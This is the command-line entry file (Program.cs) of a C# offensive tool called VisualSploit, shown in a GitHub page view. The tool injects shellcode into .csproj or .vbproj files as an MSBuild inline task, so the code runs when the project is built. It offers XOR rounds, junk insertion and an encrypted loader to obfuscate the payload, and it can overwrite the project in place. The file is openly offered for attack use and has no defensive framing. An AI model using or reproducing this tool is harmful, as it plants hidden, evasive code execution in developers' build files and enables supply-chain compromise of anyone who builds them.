-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathProgram.cs
More file actions
148 lines (123 loc) · 4.26 KB
/
Program.cs
File metadata and controls
148 lines (123 loc) · 4.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
using System.CommandLine;
using System.CommandLine.Invocation;
using VisualSploit.Core;
using VisualSploit.Templates;
namespace VisualSploit;
class Program
{
static int Main(string[] args)
{
var projectArg = new Argument<FileInfo>("project")
{
Description = "Target .csproj or .vbproj file"
};
var shellcodeArg = new Argument<FileInfo>("shellcode")
{
Description = "Shellcode file (raw bytes or hex)"
};
var outputOption = new Option<FileInfo?>("-o", "--output")
{
Description = "Output path (default: in-place)"
};
var noBackupOption = new Option<bool>("--no-backup")
{
Description = "Skip backup"
};
var methodsOption = new Option<string?>("-m", "--methods")
{
Description = "Obfuscation methods: xor,junk"
};
var encryptOption = new Option<bool>("-e", "--encrypt")
{
Description = "Encrypted payload loader"
};
var roundsOption = new Option<int>("-r", "--rounds")
{
Description = "XOR rounds 1-5",
DefaultValueFactory = _ => 3
};
var seedOption = new Option<int?>("-s", "--seed")
{
Description = "RNG seed for reproducibility"
};
var rootCommand = new RootCommand("VisualSploit - MSBuild Inline Task Injection")
{
projectArg,
shellcodeArg,
outputOption,
noBackupOption,
methodsOption,
encryptOption,
roundsOption,
seedOption
};
rootCommand.SetAction((ctx, _) =>
{
var project = ctx.GetValue(projectArg)!;
var shellcode = ctx.GetValue(shellcodeArg)!;
var output = ctx.GetValue(outputOption);
var noBackup = ctx.GetValue(noBackupOption);
var methods = ctx.GetValue(methodsOption);
var encrypt = ctx.GetValue(encryptOption);
var rounds = ctx.GetValue(roundsOption);
var seed = ctx.GetValue(seedOption);
Execute(project, shellcode, output, noBackup, methods, encrypt, rounds, seed);
return Task.CompletedTask;
});
return rootCommand.Parse(args).Invoke();
}
static void Execute(
FileInfo project,
FileInfo shellcode,
FileInfo? output,
bool noBackup,
string? methods,
bool encrypt,
int rounds,
int? seed)
{
try
{
if (rounds < 1 || rounds > 5)
throw new ArgumentException("XOR rounds must be between 1 and 5");
var m = ParseMethods(methods);
var cfg = new Config(Encrypt: encrypt, Methods: m, XorRounds: rounds, Seed: seed);
Console.WriteLine("VisualSploit - MSBuild Inline Task Injection");
Console.WriteLine();
Console.Write("Generating inline task... ");
var payload = MsBuild.Wrap(shellcode.FullName, cfg);
Console.WriteLine("done");
if (m != Methods.None)
Console.WriteLine($"Obfuscation: {m}");
Console.Write("Injecting payload... ");
var outputPath = output?.FullName;
Injector.Inject(project.FullName, payload, outputPath, !noBackup);
Console.WriteLine("done");
Console.WriteLine($"Success: {outputPath ?? project.FullName}");
if (!noBackup && output == null)
Console.WriteLine($"Backup: {project.FullName}.bak");
}
catch (Exception ex)
{
Console.Error.WriteLine($"Error: {ex.Message}");
Environment.ExitCode = 1;
}
}
static Methods ParseMethods(string? str)
{
if (string.IsNullOrEmpty(str))
return Methods.None;
var r = Methods.None;
var parts = str.Split(',', StringSplitOptions.RemoveEmptyEntries | StringSplitOptions.TrimEntries);
foreach (var p in parts)
{
r |= p.ToLower() switch
{
"xor" => Methods.Xor,
"junk" => Methods.Junk,
_ => throw new ArgumentException($"Unknown method: {p}")
};
}
return r;
}
}